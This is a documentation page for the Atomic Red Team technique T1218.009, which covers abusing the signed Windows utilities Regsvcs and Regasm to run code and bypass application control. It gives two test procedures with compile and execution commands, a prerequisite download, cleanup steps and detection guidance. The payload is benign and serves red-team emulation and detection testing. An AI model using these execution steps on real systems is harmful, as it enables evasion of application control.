Ctrl+K

T1218.009 - Regsvcs/Regasm

T1218.009 - Regsvcs/Regasm#

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

Atomic Tests#

Atomic Test #1 - Regasm Uninstall Method Call Test#

Executes the Uninstall Method, No Admin Rights Required. Upon execution, “I shouldn’t really execute either.” will be displayed.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: The CSharp source file must exist on disk at specified location (#{source_file})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\T1218.009\src\T1218.009.cs") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "PathToAtomicsFolder\T1218.009\src\T1218.009.cs") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "PathToAtomicsFolder\T1218.009\src\T1218.009.cs"


Invoke-AtomicTest T1218.009 -TestNumbers 1 -GetPreReqs

Attack Commands: Run with command_prompt#

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"%tmp%\T1218.009.dll" /target:library "PathToAtomicsFolder\T1218.009\src\T1218.009.cs"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %tmp%\T1218.009.dll

Invoke-AtomicTest T1218.009 -TestNumbers 1

Cleanup:#

del %tmp%\T1218.009.dll >nul 2>&1

Invoke-AtomicTest T1218.009 -TestNumbers 1 -Cleanup

Atomic Test #2 - Regsvcs Uninstall Method Call Test#

Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, “I shouldn’t really execute” will be displayed along with other information about the assembly being installed.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: The CSharp source file must exist on disk at specified location (#{source_file})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\T1218.009\src\T1218.009.cs") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "PathToAtomicsFolder\T1218.009\src\T1218.009.cs") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs" -OutFile "PathToAtomicsFolder\T1218.009\src\T1218.009.cs"

Invoke-AtomicTest T1218.009 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with powershell#

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content $env:Temp\key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"$Env:TEMP\T1218.009.dll" /target:library /keyfile:$env:Temp\key.snk PathToAtomicsFolder\T1218.009\src\T1218.009.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe $Env:TEMP\T1218.009.dll

Invoke-AtomicTest T1218.009 -TestNumbers 2

Cleanup:#

Remove-Item $Env:TEMP\T1218.009.dll -ErrorAction Ignore | Out-Null
$parentpath = Split-Path -Path "$Env:TEMP\T1218.009.dll"
Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null
Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null

Invoke-AtomicTest T1218.009 -TestNumbers 2 -Cleanup

Detection#

Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Contents